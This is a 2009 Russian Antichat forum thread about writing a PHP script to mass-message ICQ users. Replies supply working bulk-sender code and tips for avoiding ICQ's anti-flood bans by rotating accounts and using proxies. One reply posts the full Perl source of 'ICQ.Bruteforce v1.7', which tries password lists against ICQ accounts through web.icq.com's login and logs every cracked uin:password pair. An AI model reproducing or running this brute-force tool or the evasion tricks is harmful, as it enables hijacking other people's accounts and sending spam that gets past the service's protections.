Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   ICQ рассылка на php (https://forum.antichat.xyz/showthread.php?t=111657)

mff 17.03.2009 19:36

ICQ рассылка на php
 
Здравствуйте дорогие античатовцы! :)

Требуется ваша бесценная помощь.
Задача: написать простенький рассыльщих ICQ на php. Рассылать нужно будет по базе подписчиков.
Реально ли это? Если да, то подскажите с чего начинать.

Когда то делал месенгер на php и flash используя WebIcqLite.class - работал, но нестабильно.

Спасибо!

mailbrush 17.03.2009 20:12

Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
PHP код:

$base=explode("\r\n",file_get_contents('base.txt')); 

Потом в цикле
PHP код:

for($i=0;$i<=count($base);$i++)
{
$icq->send_message($base[$i], "Message");
sleep(2);


Аську выбрасывает, если подряд сообщения идут с одного нума - поэтому прилепил слип. Либо можешь еще в цикл
PHP код:

define('UIN'$uins[$i]);
define('PASSWORD'$pass[$i]); 

опять же чтобы не выкидало аську. Только очень часто не логинись - надо будет прокси юзать.

rushter 17.03.2009 20:19

Цитата:

Сообщение от mailbrush
Реально, вот алгоритм: качаешь класс WebIcqLite. Заносишь базу подписчиков в массив:
PHP код:

$base=explode("\r\n",file_get_contents('base.txt')); 


http://ru2.php.net/file ;)

mailbrush 17.03.2009 20:31

rushter, ну да. Этим тоже можно. Забыл про него, разницы то нету.

Pashkela 17.03.2009 21:39

ну в общем что-то в этом роде:

PHP код:

<?php 
@set_time_limit(0); 
@
ini_set("display_errors","1");
ignore_user_abort(1);

include(
'WebIcqLite.class.php');

$ini parse_ini_file("icq.ini");

$uin $ini[uin]; // UIN для бота
$pass $ini[pass]; // Пароль для UIN бота
$file_uin $ini[file_uin]; // Файл, где список рассылки
$message $ini[message]; // Сообщение 
$pause $ini[pause]; // пауза между сообщениями

define('UIN'$uin);
define('PASSWORD'$pass);

$icq = new WebIcqLite();
if(!
$icq->connect(UINPASSWORD)) {
       echo 
$icq->error;
       exit();
}
   
$file fopen($file_uin,'r');
   while (!
feof($file)) {
      
$buffer trim(fgets($file));
      
$icq->send_message($buffer$message);
      echo 
"Message sent to $buffer \n";
      
flush();
      
sleep($pause);
   }    

$icq->disconnect();
exit();
?>

icq.ini:

PHP код:

uin 123456 UINс которого рассылаем
pass 
1234 Пароль для UINс которого рассылаем
file_uin 
uin.txt Файл со списком UIN для рассылки
message 
test, do not reply this messagebot-test Собственно сама мессага для отсылки
pause 
Пауза между каждым сообщениемчтобы нас не забанили (в секундах

uin.txt:

PHP код:

11111
22222
33333
44444 

скачать сорцы + icq.exe (скомпилировано под винды, протестено под win xp, потому и стабильно) + настройки + сам класс в виде архива:

скачать

mff 17.03.2009 22:26

Спасибо ребят! Полез разбирать! :)

blaga 18.03.2009 07:46

Pashkela, чем тебе так ини файлы нравяться?
вообще то не очень удобно, если кто нить узнает что такой файл есть на серваке то его можно тупо скачать и узнать нум и пасс с которого шлют, а потом и скачать файл с уинами подписчиков.
имхо было бы проще сделать на php этот файл а нумы хранить в БД... ИМХО

Gray_Wolf 18.03.2009 08:28

2blaga *.ini и *.txt можно хранить в отдельном каталоге с .htaccess.

PandoraBox 18.03.2009 09:20

на перл для многопоточности!

Код:

#!/usr/bin/perl

#############################################
#############################################
#
# ICQ.Bruteforce v1.7 by UsEle$$ gr0up
#
# Language: Perl Code
# Platform: Any with Perl started
# Author: Hunt
# All Rights Reserved by UsEle$$ gr0up
#
# 11.12.02
#
#############################################
#############################################

use IO::Socket;

$negative = 'incorrect';
$positive = 'change_details';
$server  = 'web.icq.com';

# local files directives
$uins        = 'uins.txt';
$passwordlst = 'pass.txt';
$success    = 'log.txt';
$debuglog    = 'debug.log';

# begin of script-code

print "\n\n\tICQ.Bruteforce v1.7 by UsEle\$\$ gr0up\n\n";
print "\tLanguage: Perl Code\n";
print "\tPlatform: Any with Perl started\n";
print "\tAuthor: Hunt\n";
print "\tAll Rights Reserved by UsEle\$\$ gr0up\n";
print "\tReady to work...\n\n";

&checkstart; # checking configuration
&openuins;  # opening uins & pass list

sub checkstart
{
  crash($uins) unless -f $uins;
  crash($passwordlst) unless -f $passwordlst;
}

sub openuins
{
  open UINS, "< $uins";
  while (<UINS>) {
    chomp $_;
    push @uinslst, $_;
  }
  close UINS;
  for ($iall = 0; $iall <= scalar @uinslst; $iall++) {
    $prepareuin = $uinslst[$iall];
    openpass($prepareuin);
  }
}

sub openpass
{
  my($uin) = @_;
  open PASS, "< $passwordlst";
#  while (<PASS>) {
#    chomp $_;
#    push @ps, $_;
#  }
  @ps = <PASS> while <PASS>;
  close PASS;
  foreach $pass (@ps) {
    $done = crack($pass, $uin);
    if ($done eq 2) {
      print "\tFound\n";
      return;
    }
    return if $done eq 3;
  }
}

sub crack
{
  my($passwd, $uin) = @_;
  return 3 unless $passwd;
  print "\tTrying $uin and $passwd... ";
  $dir = "/newlogin/1,,,00.html?&karma_fail_url=http://web.icq.com/login/login_page?karma_product_css=11&karma_success_url=http://web.icq.com/whitepages/change_details/?&karma_forget=1&karma_service=1&karma_user_login=$uin&karma_user_passwd=$passwd";
  $resuilt = sock($dir);
  if ($resuilt == -1) {
    print "Can\'t connect to server... Reconnecting\n";
    redo;
  } elsif (!$resuilt) {
    print "failed\n";
    return 0;
  } elsif ($resuilt) {
    print "success\n";
    logging($success, "$uin\:$passwd");
    $i++;
    return 2;
  }
}

sub sock
{
  my($socket);
  my($get) = @_;
  $socket = IO::Socket::INET->new(PeerAddr => $server,
                                  PeerPort => 80,
                                  Proto => tcp) or return -1;
  $get =~ s/\r|\n//g;
  print $socket "HEAD $get HTTP/1.0\n\n";
  while (<$socket>) {
    $answer = $_;
    chomp $answer;
    if ($answer =~ /$positive/) {
      close $socket;
      return 1;
    }
    if ($answer =~ /$negative/) {
      close $socket;
      return 0;
    }
  }
}

sub logging
{
  my($logg, $string) = @_;
  open LOGG, ">> $logg";
  print LOGG "$string\n";
  close LOGG;   
}

sub crash
{
  my($file) = @_;
  print "\tCan\'t access to $file\n";
  exit;
}


Deathdreams 18.03.2009 13:42

2 Pashkela
на самом деле ini файлы в данном случае неудобны.
не проще всё указать в переменных?
намного быстрее будет скрипт выполнятся.А так пока он будет парсить.
Здесь так и указать значения.

$uin = 'uin бота'; // UIN для бота
$pass = 'pass uin'; // Пароль для UIN бота
$file_uin = file(uins.txt); // Файл, где список рассылки
$message = 'месага'; // Сообщение
$pause = '2'; // пауза между сообщениями


Время: 15:17